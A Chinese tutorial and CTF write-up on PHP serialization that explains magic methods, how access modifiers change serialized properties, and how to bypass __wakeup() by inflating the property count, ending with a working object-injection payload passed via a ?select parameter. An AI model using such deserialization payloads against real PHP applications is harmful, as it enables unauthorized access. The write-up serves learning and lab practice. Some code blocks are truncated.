PHP序列化基础知识
序列化和反序列化的概念
序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
序列化中常见的魔法函数:
1 | __construct() 创建对象时调用 |
看一串字符串
1 | O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";} |
访问控制修饰符
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下
1 | public(公有) |
就像这样
1 | O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化 |
绕过__wakeup()函数
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
1 | //将上面的对象属性个数值改成逼真实个数打 |
[极客大挑战 2019]PHP
1 |
|
得到
1 | O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
绕过__wakeup
1 | O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改
1 | O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
然后?select传值
1 | ?select=O:4:"Name":3{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
https://blog.csdn.net/weixin_45785288/article/details/109877324
Comments
Comment plugin failed to load
Loading comment plugin